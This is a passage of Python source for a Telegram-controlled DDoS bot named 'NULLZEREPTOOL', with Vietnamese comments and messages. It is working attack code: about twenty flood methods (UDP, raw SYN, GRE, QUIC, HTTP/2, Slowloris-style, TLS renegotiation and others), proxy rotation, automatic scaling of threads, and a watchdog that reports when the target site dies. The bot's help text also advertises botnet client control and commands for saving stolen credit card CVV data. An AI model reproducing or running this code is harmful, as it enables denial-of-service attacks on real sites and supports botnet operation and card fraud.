  768. # ==================== COMBO WORKER (ĐÃ SỬA - THÊM RETRY) ====================
  769. def combo_worker(chat_id, target, delay_ms, worker_id):
  770.     try:
  771.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  772.         port = 80 if "http://" in target else 443
  773.     except:
  774.         host = target
  775.         port = 80
  776.    
  777.     session = requests.Session()
  778.    
  779.     while attacks.get(chat_id, {}).get('active', False):
  780.         retry_count = 0
  781.         success = False
  782.        
  783.         while retry_count < 2 and not success:
  784.             try:
  785.                 headers = get_headers()
  786.                 url = random_query_string(target)
  787.                 proxy = get_random_proxy()
  788.                
  789.                 # Nếu không có proxy, bỏ qua proxy
  790.                 proxy_to_use = proxy if proxy else None
  791.                
  792.                 # HTTP Layer
  793.                 session.get(url, headers=headers, timeout=2, proxies=proxy_to_use)
  794.                 session.post(url, headers=headers, data={'x': random.random()}, timeout=2, proxies=proxy_to_use)
  795.                 session.head(url, headers=headers, timeout=1, proxies=proxy_to_use)
  796.                 session.options(url, headers=headers, timeout=1, proxies=proxy_to_use)
  797.                
  798.                 # UDP Layer
  799.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  800.                 sock.sendto(random._urandom(1024), (host, port))
  801.                 sock.close()
  802.                
  803.                 # TCP Layer
  804.                 sock2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  805.                 sock2.settimeout(0.5)
  806.                 sock2.connect((host, port))
  807.                 sock2.close()
  808.                
  809.                 with lock:
  810.                     request_counts[chat_id] += 6
  811.                
  812.                 success = True
  813.                
  814.             except Exception as e:
  815.                 retry_count += 1
  816.                 if retry_count >= 2:
  817.                     # Thất bại sau 2 lần thử, bỏ qua request này
  818.                     pass
  819.                 time.sleep(0.1)
  820.        
  821.         time.sleep(delay_ms / 1000)
  822.  
  823. # === CÁC WORKER MỚI ===
  824. def http2_worker(chat_id, target, delay_ms, worker_id):
  825.     try:
  826.         import h2.connection
  827.         import h2.config
  828.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  829.         port = 443
  830.         while attacks.get(chat_id, {}).get('active', False):
  831.             try:
  832.                 config = h2.config.H2Configuration(client_side=True)
  833.                 conn = h2.connection.H2Connection(config=config)
  834.                 conn.initiate_connection()
  835.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  836.                 context = ssl.create_default_context()
  837.                 sock = context.wrap_socket(sock, server_hostname=host)
  838.                 sock.connect((host, port))
  839.                 sock.send(conn.data_to_send())
  840.                 for i in range(30):
  841.                     conn.send_headers(i, [(':method', 'GET'), (':path', '/'), (':authority', host)])
  842.                     conn.send_data(i, b'')
  843.                     sock.send(conn.data_to_send())
  844.                 sock.close()
  845.                 with lock:
  846.                     request_counts[chat_id] += 30
  847.             except:
  848.                 pass
  849.             time.sleep(delay_ms / 1000)
  850.     except:
  851.         pass
  852.  
  853. def syn_ack_worker(chat_id, target, delay_ms, worker_id):
  854.     try:
  855.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  856.         port = 80 if "http://" in target else 443
  857.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_TCP)
  858.         sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
  859.         while attacks.get(chat_id, {}).get('active', False):
  860.             sock.sendto(random._urandom(40), (host, port))
  861.             with lock:
  862.                 request_counts[chat_id] += 1
  863.             time.sleep(delay_ms / 1000)
  864.     except:
  865.         pass
  866.  
  867. def gre_worker(chat_id, target, delay_ms, worker_id):
  868.     try:
  869.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  870.         sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_GRE)
  871.         while attacks.get(chat_id, {}).get('active', False):
  872.             sock.sendto(random._urandom(1024), (host, 0))
  873.             with lock:
  874.                 request_counts[chat_id] += 1
  875.             time.sleep(delay_ms / 1000)
  876.     except:
  877.         pass
  878.  
  879. def quic_worker(chat_id, target, delay_ms, worker_id):
  880.     try:
  881.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  882.         port = 443
  883.         while attacks.get(chat_id, {}).get('active', False):
  884.             try:
  885.                 sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  886.                 quic_packet = b'\xc0\x00\x00\x00\x01' + random._urandom(1200)
  887.                 sock.sendto(quic_packet, (host, port))
  888.                 sock.close()
  889.                 with lock:
  890.                     request_counts[chat_id] += 1
  891.             except:
  892.                 pass
  893.             time.sleep(delay_ms / 1000)
  894.     except:
  895.         pass
  896.  
  897. def websocket_worker(chat_id, target, delay_ms, worker_id):
  898.     try:
  899.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  900.         port = 80 if "http://" in target else 443
  901.         while attacks.get(chat_id, {}).get('active', False):
  902.             try:
  903.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  904.                 sock.connect((host, port))
  905.                 key = base64.b64encode(random._urandom(16)).decode()
  906.                 handshake = f"GET /ws HTTP/1.1\r\nHost: {host}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {key}\r\nSec-WebSocket-Version: 13\r\n\r\n"
  907.                 sock.send(handshake.encode())
  908.                 sock.close()
  909.                 with lock:
  910.                     request_counts[chat_id] += 1
  911.             except:
  912.                 pass
  913.             time.sleep(delay_ms / 1000)
  914.     except:
  915.         pass
  916.  
  917. def graphql_worker(chat_id, target, delay_ms, worker_id):
  918.     session = requests.Session()
  919.     while attacks.get(chat_id, {}).get('active', False):
  920.         try:
  921.             headers = get_headers()
  922.             headers["Content-Type"] = "application/json"
  923.             query = {"query": "query { " + " __typename " * 100 + " }"}
  924.             session.post(target + "/graphql", headers=headers, json=query, timeout=1, proxies=get_random_proxy())
  925.             with lock:
  926.                 request_counts[chat_id] += 1
  927.         except:
  928.             pass
  929.         time.sleep(delay_ms / 1000)
  930.  
  931. def range_worker(chat_id, target, delay_ms, worker_id):
  932.     session = requests.Session()
  933.     while attacks.get(chat_id, {}).get('active', False):
  934.         try:
  935.             headers = get_headers()
  936.             headers["Range"] = "bytes=0-9,10-19,20-29,30-39,40-49,50-59,60-69,70-79,80-89,90-99"
  937.             session.get(target, headers=headers, timeout=1, proxies=get_random_proxy())
  938.             with lock:
  939.                 request_counts[chat_id] += 10
  940.         except:
  941.             pass
  942.         time.sleep(delay_ms / 1000)
  943.  
  944. def pipeline_worker(chat_id, target, delay_ms, worker_id):
  945.     try:
  946.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  947.         port = 80 if "http://" in target else 443
  948.         while attacks.get(chat_id, {}).get('active', False):
  949.             try:
  950.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  951.                 sock.connect((host, port))
  952.                 pipeline = b""
  953.                 for i in range(100):
  954.                     pipeline += f"GET /?r={random.randint(1,999999)} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {random.choice(USER_AGENTS)}\r\n\r\n".encode()
  955.                 sock.send(pipeline)
  956.                 sock.close()
  957.                 with lock:
  958.                     request_counts[chat_id] += 100
  959.             except:
  960.                 pass
  961.             time.sleep(delay_ms / 1000)
  962.     except:
  963.         pass
  964.  
  965. def slow_request_worker(chat_id, target, delay_ms, worker_id):
  966.     try:
  967.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  968.         port = 80 if "http://" in target else 443
  969.         while attacks.get(chat_id, {}).get('active', False):
  970.             try:
  971.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  972.                 sock.connect((host, port))
  973.                 sock.sendto(b"POST / HTTP/1.1\r\nHost: " + host.encode() + b"\r\n", (host, port))
  974.                 for i in range(1000):
  975.                     sock.sendto(b"X-Data-" + str(i).encode() + b": " + random._urandom(10).hex().encode() + b"\r\n", (host, port))
  976.                     time.sleep(0.1)
  977.                 sock.close()
  978.                 with lock:
  979.                     request_counts[chat_id] += 1000
  980.             except:
  981.                 pass
  982.             time.sleep(delay_ms / 1000)
  983.     except:
  984.         pass
  985.  
  986. def tls_reneg_worker(chat_id, target, delay_ms, worker_id):
  987.     try:
  988.         host = target.replace("https://", "").replace("http://", "").split("/")[0]
  989.         port = 443
  990.         while attacks.get(chat_id, {}).get('active', False):
  991.             try:
  992.                 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  993.                 sock.connect((host, port))
  994.                 context = ssl.create_default_context()
  995.                 ssock = context.wrap_socket(sock, server_hostname=host)
  996.                 for _ in range(20):
  997.                     ssock.do_handshake()
  998.                 ssock.close()
  999.                 with lock:
  1000.                     request_counts[chat_id] += 20
  1001.             except:
  1002.                 pass
  1003.             time.sleep(delay_ms / 1000)
  1004.     except:
  1005.         pass
  1006.  
  1007. METHODS = {
  1008.     "http": http_worker,
  1009.     "udp": udp_worker,
  1010.     "tcp": tcp_worker,
  1011.     "slow": slowloris_worker,
  1012.     "https": https_flood_worker,
  1013.     "dns": dns_amplification_worker,
  1014.     "ntp": ntp_amplification_worker,
  1015.     "sslren": ssl_renegotiation_worker,
  1016.     "slowread": slow_read_worker,
  1017.     "combo": combo_worker,
  1018.     "http2": http2_worker,
  1019.     "synack": syn_ack_worker,
  1020.     "gre": gre_worker,
  1021.     "quic": quic_worker,
  1022.     "ws": websocket_worker,
  1023.     "graphql": graphql_worker,
  1024.     "range": range_worker,
  1025.     "pipeline": pipeline_worker,
  1026.     "slow_adv": slow_request_worker,
  1027.     "tls_adv": tls_reneg_worker,
  1028. }
  1029.  
  1030. # ==================== QUẢN LÝ TẤN CÔNG (GIỮ NGUYÊN) ====================
  1031. def start_attack(chat_id, target, workers_count, target_rps, method, duration=0):
  1032.     req_per_worker = max(1, target_rps // workers_count)
  1033.     delay_ms = max(1, 1000 // req_per_worker)
  1034.    
  1035.     request_counts[chat_id] = 0
  1036.     attacks[chat_id] = {
  1037.         'active': True,
  1038.         'threads': [],
  1039.         'target': target,
  1040.         'workers': workers_count,
  1041.         'target_rps': target_rps,
  1042.         'method': method,
  1043.         'start_time': time.time(),
  1044.         'max_rps': 0,
  1045.         'total_reqs': 0,
  1046.         'duration': duration
  1047.     }
  1048.    
  1049.     for i in range(workers_count):
  1050.         t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms, i))
  1051.         t.daemon = True
  1052.         t.start()
  1053.         attacks[chat_id]['threads'].append(t)
  1054.    
  1055.     def auto_increase():
  1056.         while attacks.get(chat_id, {}).get('active', False):
  1057.             time.sleep(15)
  1058.             if chat_id not in attacks:
  1059.                 break
  1060.             elapsed = time.time() - attacks[chat_id]['start_time']
  1061.             total = request_counts.get(chat_id, 0)
  1062.             if elapsed < 10:
  1063.                 continue
  1064.             current_rps = int(total / elapsed)
  1065.             target_rps_val = attacks[chat_id]['target_rps']
  1066.             if current_rps < target_rps_val * 0.7 and attacks[chat_id]['workers'] < 2000:
  1067.                 new_workers = int(attacks[chat_id]['workers'] * 1.2) + 10
  1068.                 new_workers = min(new_workers, 2000)
  1069.                 bot.send_message(chat_id, f"🚀 *TỰ TĂNG WORKER* từ `{attacks[chat_id]['workers']}` lên `{new_workers}` để đạt RPS", parse_mode='Markdown')
  1070.                 attacks[chat_id]['workers'] = new_workers
  1071.                 req_per_worker_new = max(1, target_rps_val // new_workers)
  1072.                 delay_ms_new = max(1, 1000 // req_per_worker_new)
  1073.                 for _ in range(new_workers - len(attacks[chat_id]['threads'])):
  1074.                     t = threading.Thread(target=METHODS[method], args=(chat_id, target, delay_ms_new, new_workers))
  1075.                     t.daemon = True
  1076.                     t.start()
  1077.                     attacks[chat_id]['threads'].append(t)
  1078.     threading.Thread(target=auto_increase, daemon=True).start()
  1079.    
  1080.     logging.info(f"Bắt đầu tấn công {target} - workers: {workers_count} - RPS: {target_rps}")
  1081.     return delay_ms
  1082.  
  1083. def stop_attack(chat_id, save_history_flag=True):
  1084.     if chat_id not in attacks:
  1085.         return False
  1086.    
  1087.     attacks[chat_id]['active'] = False
  1088.    
  1089.     for t in attacks[chat_id].get('threads', []):
  1090.         try:
  1091.             t.join(timeout=1)
  1092.         except:
  1093.             pass
  1094.    
  1095.     if save_history_flag and attacks[chat_id].get('total_reqs', 0) > 0:
  1096.         add_to_history(
  1097.             attacks[chat_id]['target'],
  1098.             attacks[chat_id]['total_reqs'],
  1099.             attacks[chat_id]['max_rps'],
  1100.             int(time.time() - attacks[chat_id]['start_time']),
  1101.             attacks[chat_id]['workers'],
  1102.             attacks[chat_id]['method'],
  1103.             attacks[chat_id]['target_rps']
  1104.         )
  1105.    
  1106.     del attacks[chat_id]
  1107.     return True
  1108.  
  1109. # ==================== LỆNH TELEGRAM (GIỮ NGUYÊN + THÊM LỆNH MỚI) ====================
  1110. def is_admin(user_id):
  1111.     return user_id == ADMIN_ID
  1112.  
  1113. def is_logged_in(user_id):
  1114.     return logged_in.get(user_id, False)
  1115.  
  1116. @bot.message_handler(commands=['login'])
  1117. def cmd_login(message):
  1118.     user_id = message.from_user.id
  1119.     if not is_admin(user_id):
  1120.         bot.reply_to(message, "❌ Bạn không có quyền admin!")
  1121.         return
  1122.    
  1123.     args = message.text.split()
  1124.     if len(args) < 2:
  1125.         bot.reply_to(message, "❌ /login <mật_khẩu>\nVD: /login 7788")
  1126.         return
  1127.    
  1128.     if args[1] == ADMIN_PASSWORD:
  1129.         logged_in[user_id] = True
  1130.         bot.reply_to(message, "✅ Đăng nhập thành công! Bạn có thể dùng các lệnh bot.")
  1131.         logging.info(f"Admin {user_id} đã đăng nhập")
  1132.     else:
  1133.         bot.reply_to(message, "❌ Sai mật khẩu!")
  1134.  
  1135. @bot.message_handler(commands=['logout'])
  1136. def cmd_logout(message):
  1137.     user_id = message.from_user.id
  1138.     if is_admin(user_id):
  1139.         logged_in[user_id] = False
  1140.         bot.reply_to(message, "🔒 Đã đăng xuất. Cần đăng nhập lại để dùng lệnh.")
  1141.         logging.info(f"Admin {user_id} đã đăng xuất")
  1142.     else:
  1143.         bot.reply_to(message, "❌ Không có quyền.")
  1144.  
  1145. @bot.message_handler(commands=['start'])
  1146. def cmd_start(message):
  1147.     user_id = message.from_user.id
  1148.     if not is_admin(user_id):
  1149.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  1150.         return
  1151.    
  1152.     bot.reply_to(message, """
  1153. 💀 *NULLZEREPTOOL - SIÊU DDOS BOT (NÂNG CẤP TỐI ĐA)* 💀
  1154. ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
  1155.  
  1156. 🔐 *ĐĂNG NHẬP TRƯỚC KHI DÙNG:*
  1157. /login 7788
  1158.  
  1159. 📜 *DANH SÁCH LỆNH:*
  1160.  
  1161. 🔥 *TẤN CÔNG:*
  1162. /attack <url> <workers> <rps> <method> [time]
  1163. /stop
  1164. /stats
  1165.  
  1166. 🔄 *PROXY:*
  1167. /proxy update
  1168. /proxy list
  1169.  
  1170. 🔑 *QUẢN LÝ KEY:*
  1171. /key [days]
  1172. /keys
  1173. /delkey <key>
  1174.  
  1175. 📜 *LỊCH SỬ:*
  1176. /history
  1177.  
  1178. 🤖 *BOTNET NÂNG CẤP:*
  1179. /listbots - Xem danh sách client
  1180. /botcmd attack <url> <workers> <rps> <method> <duration> - Ra lệnh cho client
  1181. /botcmd stop - Hủy lệnh
  1182. /broadcast <tin nhắn> - Gửi tin nhắn đến client
  1183. /update_client - Yêu cầu client cập nhật code
  1184.  
  1185. 📊 *THỐNG KÊ & TIỆN ÍCH:*
  1186. /chart - Biểu đồ RPS
  1187. /deploy - Hướng dẫn deploy 24/7
  1188. /version - Xem phiên bản
  1189. /update - Cập nhật bot
  1190.  
  1191. 💳 *CVV:*
  1192. /cvv <cc> <cvv> <exp> - Lưu thông tin CVV
  1193. /getcvv - Xem danh sách CVV
  1194.  
  1195. 🚀 *CÁC METHOD CÓ SẴN:*
  1196. http, udp, tcp, slow, https, dns, ntp, sslren, slowread, combo
  1197. http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
  1198.  
  1199. 💀 *COMBO LÀ MẠNH NHẤT!*
  1200. """, parse_mode='Markdown')
  1201.  
  1202. # ==================== LỆNH HELP (ĐÃ SỬA LẠI HOÀN TOÀN) ====================
  1203. @bot.message_handler(commands=['help'])
  1204. def cmd_help(message):
  1205.     user_id = message.from_user.id
  1206.     if not is_admin(user_id):
  1207.         bot.reply_to(message, "❌ Bạn không có quyền sử dụng bot này!")
  1208.         return
  1209.    
  1210.     if not is_logged_in(user_id):
  1211.         bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
  1212.         return
  1213.    
  1214.     bot.reply_to(message, """
  1215. 💀 *HƯỚNG DẪN SỬ DỤNG BOT* 💀
  1216.  
  1217. 🔐 `/login 7788` - Đăng nhập
  1218.  
  1219. 🔥 *TẤN CÔNG:*
  1220. `/attack <url> <workers> <rps> <method> [time]`
  1221. `/stop` - Dừng tấn công
  1222. `/stats` - Xem thống kê
  1223. `/history` - Lịch sử tấn công
  1224.  
  1225. 🔄 *PROXY:*
  1226. `/proxy update` - Cập nhật proxy
  1227. `/proxy list` - Danh sách proxy
  1228.  
  1229. 🤖 *BOTNET:*
  1230. `/listbots` - Xem client
  1231. `/botcmd attack <url> <workers> <rps> <method> <duration>`
  1232. `/botcmd stop`
  1233. `/broadcast <tin nhắn>`
  1234. `/update_client`
  1235.  
  1236. 🔑 *KEY:*
  1237. `/key [days]` - Tạo key
  1238. `/keys` - Danh sách key
  1239. `/delkey <key>` - Xóa key
  1240.  
  1241. 📊 *TIỆN ÍCH:*
  1242. `/chart` - Biểu đồ RPS
  1243. `/deploy` - Hướng dẫn deploy
  1244. `/version` - Phiên bản
  1245. `/update` - Cập nhật bot
  1246.  
  1247. 💳 *CVV:*
  1248. `/cvv <cc> <cvv> <exp>` - Lưu thông tin
  1249. `/getcvv` - Xem danh sách
  1250.  
  1251. 💀 *COMBO LÀ MẠNH NHẤT!*
  1252. """, parse_mode='Markdown')
  1253. # ==================== KẾT THÚC SỬA HELP ====================
  1254.  
  1255. @bot.message_handler(commands=['attack'])
  1256. def cmd_attack(message):
  1257.     # (Giữ nguyên toàn bộ code cũ của mày, không thay đổi)
  1258.     user_id = message.from_user.id
  1259.     if not is_admin(user_id):
  1260.         bot.reply_to(message, "❌ Bạn không có quyền!")
  1261.         return
  1262.    
  1263.     if not is_logged_in(user_id):
  1264.         bot.reply_to(message, "🔐 Bạn cần đăng nhập trước! Gõ /login 7788")
  1265.         return
  1266.    
  1267.     if is_rate_limited(user_id):
  1268.         bot.reply_to(message, "⏰ Bạn đang gửi quá nhiều lệnh, hãy thử lại sau!")
  1269.         return
  1270.    
  1271.     chat_id = message.chat.id
  1272.     args = message.text.split()
  1273.    
  1274.     if len(args) < 5:
  1275.         bot.reply_to(message, """
  1276. ❌ *SAI CÚ PHÁP!*
  1277. ━━━━━━━━━━━━━
  1278. /attack <url> <workers> <rps> <method> [time]
  1279.  
  1280. 📌 *VÍ DỤ:*
  1281. /attack https://example.com 500 100000 combo
  1282. /attack https://example.com 200 50000 http 60
  1283.  
  1284. ⚙️ *WORKERS:* 1-1000
  1285. 💥 *RPS:* 1000-200000
  1286. 🔥 *METHOD:* combo, http, udp, tcp, slow, https, dns, ntp, sslren, slowread, http2, synack, gre, quic, ws, graphql, range, pipeline, slow_adv, tls_adv
  1287. ⏱️ *TIME:* 0 = chạy đến khi stop (mặc định)
  1288.        """, parse_mode='Markdown')
  1289.         return
  1290.    
  1291.     target = args[1]
  1292.     if not target.startswith(('http://', 'https://')):
  1293.         target = 'http://' + target
  1294.    
  1295.     try:
  1296.         workers = int(args[2])
  1297.         if workers < 1 or workers > 1000:
  1298.             raise ValueError
  1299.     except:
  1300.         bot.reply_to(message, "❌ Worker phải từ 1 đến 1000!")
  1301.         return
  1302.    
  1303.     try:
  1304.         target_rps = int(args[3])
  1305.         if target_rps < 100 or target_rps > 200000:
  1306.             raise ValueError
  1307.     except:
  1308.         bot.reply_to(message, "❌ RPS phải từ 100 đến 200000!")
  1309.         return
  1310.    
  1311.     method = args[4].lower()
  1312.     if method not in METHODS:
  1313.         bot.reply_to(message, f"❌ Method '{method}' không hợp lệ!\nCác method có sẵn: {', '.join(METHODS.keys())}")
  1314.         return
  1315.    
  1316.     attack_time = 0
  1317.     if len(args) > 5:
  1318.         try:
  1319.             attack_time = int(args[5])
  1320.             if attack_time < 0:
  1321.                 attack_time = 0
  1322.         except:
  1323.             pass
  1324.    
  1325.     if chat_id in attacks and attacks[chat_id].get('active', False):
  1326.         bot.reply_to(message, "⚠️ Đang có một đợt tấn công! Dùng /stop để dừng trước.")
  1327.         return
  1328.    
  1329.     if not is_web_alive(target):
  1330.         bot.reply_to(message, f"⚠️ *CẢNH BÁO:* Target `{target}` không phản hồi! Vẫn tiếp tục tấn công?", parse_mode='Markdown')
  1331.    
  1332.     if not proxy_list:
  1333.         bot.reply_to(message, "🔄 Đang cập nhật proxy...")
  1334.         update_proxy_list()
  1335.    
  1336.     delay_ms = start_attack(chat_id, target, workers, target_rps, method, attack_time)
  1337.    
  1338.     method_names = {
  1339.         "http": "HTTP Flood (GET+POST+HEAD+OPTIONS)",
  1340.         "udp": "UDP Flood (Layer 4)",
  1341.         "tcp": "TCP Flood",
  1342.         "slow": "Slowloris",
  1343.         "https": "HTTPS Flood (SSL)",
  1344.         "dns": "DNS Amplification",
  1345.         "ntp": "NTP Amplification",
  1346.         "sslren": "SSL Renegotiation",
  1347.         "slowread": "Slow Read Attack",
  1348.         "combo": "COMBO MAX (HTTP+UDP+TCP)",
  1349.         "http2": "HTTP/2 Flood",
  1350.         "synack": "SYN-ACK Flood",
  1351.         "gre": "GRE Flood",
  1352.         "quic": "QUIC Flood",
  1353.         "ws": "WebSocket Flood",
  1354.         "graphql": "GraphQL Flood",
  1355.         "range": "Range Header Flood",
  1356.         "pipeline": "HTTP Pipelining",
  1357.         "slow_adv": "Slow Request Advanced",
  1358.         "tls_adv": "TLS Renegotiation Advanced",
  1359.     }
  1360.    
  1361.     response = f"""
  1362. ✅ *ĐÃ BẮT ĐẦU TẤN CÔNG!*
  1363. ━━━━━━━━━━━━━━━━━━━━
  1364. 🎯 *Target:* `{target}`
  1365. ⚙️ *Workers:* `{workers}`
  1366. 💥 *RPS mục tiêu:* `{target_rps}`
  1367. 🔥 *Method:* `{method_names.get(method, method.upper())}`
  1368. ⏱️ *Delay/worker:* `{delay_ms}ms`
  1369. 🔄 *Proxy:* `{len(proxy_list)}` proxy
  1370.    """
  1371.    
  1372.     if attack_time > 0:
  1373.         response += f"⏰ *Tự động dừng sau:* `{attack_time} giây`\n"
  1374.    
  1375.     response += """
  1376. 📊 Theo dõi: /stats
  1377. 🛑 Dừng: /stop
  1378.    """
  1379.    
  1380.     bot.reply_to(message, response, parse_mode='Markdown')
  1381.    
  1382.     if attack_time > 0:
  1383.         def auto_stop():
  1384.             time.sleep(attack_time)
  1385.             if chat_id in attacks and attacks[chat_id].get('active', False):
  1386.                 total = request_counts.get(chat_id, 0)
  1387.                 if attacks[chat_id].get('total_reqs', 0) == 0:
  1388.                     attacks[chat_id]['total_reqs'] = total
  1389.                 stop_attack(chat_id)
  1390.                 bot.send_message(chat_id, f"⏰ *TỰ ĐỘNG DỪNG SAU {attack_time}s*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
  1391.        
  1392.         threading.Thread(target=auto_stop, daemon=True).start()
  1393.    
  1394.     def report_loop():
  1395.         last_req = 0
  1396.         last_time = time.time()
  1397.         while chat_id in attacks and attacks[chat_id].get('active', False):
  1398.             time.sleep(20)
  1399.             if chat_id in attacks and attacks[chat_id].get('active', False):
  1400.                 current_req = request_counts.get(chat_id, 0)
  1401.                 current_time = time.time()
  1402.                 elapsed = current_time - last_time
  1403.                
  1404.                 if elapsed > 0:
  1405.                     current_rps = int((current_req - last_req) / elapsed)
  1406.                     if current_rps > attacks[chat_id].get('max_rps', 0):
  1407.                         attacks[chat_id]['max_rps'] = current_rps
  1408.                     attacks[chat_id]['total_reqs'] = current_req
  1409.                
  1410.                 bot.send_message(chat_id, f"""
  1411. 📊 *BÁO CÁO ĐỊNH KỲ*
  1412. ━━━━━━━━━━━━━━━
  1413. 📨 Tổng request: `{current_req:,}`
  1414. ⚡ RPS hiện tại: `{current_rps}`
  1415. 🏆 RPS cao nhất: `{attacks[chat_id]['max_rps']}`
  1416. 🎯 RPS mục tiêu: `{target_rps}`
  1417. 🔥 Method: `{method.upper()}`
  1418.                """, parse_mode='Markdown')
  1419.                
  1420.                 last_req = current_req
  1421.                 last_time = current_time
  1422.    
  1423.     threading.Thread(target=report_loop, daemon=True).start()
  1424.    
  1425.     def web_watchdog():
  1426.         while chat_id in attacks and attacks[chat_id].get('active', False):
  1427.             time.sleep(5)
  1428.             if not is_web_alive(target):
  1429.                 if chat_id in attacks and attacks[chat_id].get('active', False):
  1430.                     total = request_counts.get(chat_id, 0)
  1431.                     bot.send_message(chat_id, f"💀 *WEB ĐÃ CHẾT!*\n📨 Tổng request: {total:,}", parse_mode='Markdown')
  1432.                     stop_attack(chat_id)
  1433.                     break
  1434.    
  1435.     threading.Thread(target=web_watchdog, daemon=True).start()
  1436.  
  1437. @bot.message_handler(commands=['stop'])
  1438. def cmd_stop(message):
  1439.     # (Giữ nguyên)
  1440.     user_id = message.from_user.id
  1441.     if not is_admin(user_id):
  1442.         bot.reply_to(message, "❌ Không có quyền!")
  1443.         return
  1444.    
  1445.     if not is_logged_in(user_id):
  1446.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1447.         return
  1448.    
  1449.     chat_id = message.chat.id
  1450.    
  1451.     if chat_id not in attacks or not attacks[chat_id].get('active', False):
  1452.         bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
  1453.         return
  1454.    
  1455.     total_reqs = request_counts.get(chat_id, 0)
  1456.     max_rps = attacks[chat_id].get('max_rps', 0)
  1457.     target = attacks[chat_id].get('target', 'Unknown')
  1458.     workers = attacks[chat_id].get('workers', 0)
  1459.     target_rps = attacks[chat_id].get('target_rps', 0)
  1460.     method = attacks[chat_id].get('method', 'unknown')
  1461.     duration = int(time.time() - attacks[chat_id].get('start_time', time.time()))
  1462.    
  1463.     attacks[chat_id]['total_reqs'] = total_reqs
  1464.     attacks[chat_id]['max_rps'] = max_rps
  1465.    
  1466.     stop_attack(chat_id)
  1467.    
  1468.     bot.reply_to(message, f"""
  1469. 🛑 *ĐÃ DỪNG TẤN CÔNG*
  1470. ━━━━━━━━━━━━━━━━━━
  1471. 🎯 *Target:* `{target}`
  1472. 📨 *Tổng request:* `{total_reqs:,}`
  1473. 🏆 *RPS cao nhất:* `{max_rps}`
  1474. 💥 *RPS mục tiêu:* `{target_rps}`
  1475. ⚙️ *Workers:* `{workers}`
  1476. 🔥 *Method:* `{method.upper()}`
  1477. ⏱️ *Thời gian:* `{duration}s`
  1478.    """, parse_mode='Markdown')
  1479.  
  1480. @bot.message_handler(commands=['stats'])
  1481. def cmd_stats(message):
  1482.     # (Giữ nguyên)
  1483.     user_id = message.from_user.id
  1484.     if not is_admin(user_id):
  1485.         bot.reply_to(message, "❌ Không có quyền!")
  1486.         return
  1487.    
  1488.     if not is_logged_in(user_id):
  1489.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1490.         return
  1491.    
  1492.     chat_id = message.chat.id
  1493.    
  1494.     if chat_id not in attacks or not attacks[chat_id].get('active', False):
  1495.         bot.reply_to(message, "ℹ️ Không có đợt tấn công nào đang chạy!")
  1496.         return
  1497.    
  1498.     total_reqs = request_counts.get(chat_id, 0)
  1499.     elapsed = max(1, int(time.time() - attacks[chat_id]['start_time']))
  1500.     current_rps = total_reqs // elapsed
  1501.     max_rps = attacks[chat_id].get('max_rps', 0)
  1502.    
  1503.     bot.reply_to(message, f"""
  1504. 📊 *THỐNG KÊ CHI TIẾT*
  1505. ━━━━━━━━━━━━━━━━━━
  1506. 🎯 *Target:* `{attacks[chat_id]['target']}`
  1507. 📨 *Tổng request:* `{total_reqs:,}`
  1508. ⚡ *RPS hiện tại:* `{current_rps}`
  1509. 🏆 *RPS cao nhất:* `{max_rps}`
  1510. 🎯 *RPS mục tiêu:* `{attacks[chat_id]['target_rps']}`
  1511. ⚙️ *Workers:* `{attacks[chat_id]['workers']}`
  1512. 🔥 *Method:* `{attacks[chat_id]['method'].upper()}`
  1513. ⏱️ *Thời gian:* `{elapsed}s`
  1514.    """, parse_mode='Markdown')
  1515.  
  1516. @bot.message_handler(commands=['history'])
  1517. def cmd_history(message):
  1518.     # (Giữ nguyên)
  1519.     user_id = message.from_user.id
  1520.     if not is_admin(user_id):
  1521.         bot.reply_to(message, "❌ Không có quyền!")
  1522.         return
  1523.    
  1524.     if not is_logged_in(user_id):
  1525.         bot.reply_to(message, "🔐 Cần đăng nhập! /login 7788")
  1526.         return
  1527.    
  1528.     history = load_history()
  1529.     if not history:
  1530.         bot.reply_to(message, "📭 Chưa có lịch sử tấn công nào!")
  1531.         return
  1532.    
  1533.     text = "📜 *LỊCH SỬ TẤN CÔNG*\n━━━━━━━━━━━━━━━━━━\n\n"
  1534.     for i, item in enumerate(history[:15], 1):
  1535.         text += f"{i}. 🎯 `{item['target'][:50]}`\n"
  1536.         text += f"   📨 `{item['requests']:,}` req | 🚀 `{item['max_rps']}` rps\n"
  1537.         text += f"   ⚙️ `{item['workers']}` workers | ⏱️ `{item['duration']}`s\n"
  1538.         text += f"   🔥 `{item['method'].upper()}` | 🎯 `{item.get('rps_target', 'N/A')}` rps\n"
  1539.         text += f"   📅 `{item['time']}`\n"
  1540.         if item.get('web_died'):
  1541.             text += f"   💀 *WEB ĐÃ CHẾT*\n"
  1542.         text += "\n"
  1543.    
  1544.     bot.reply_to(message, text, parse_mode='Markdown')
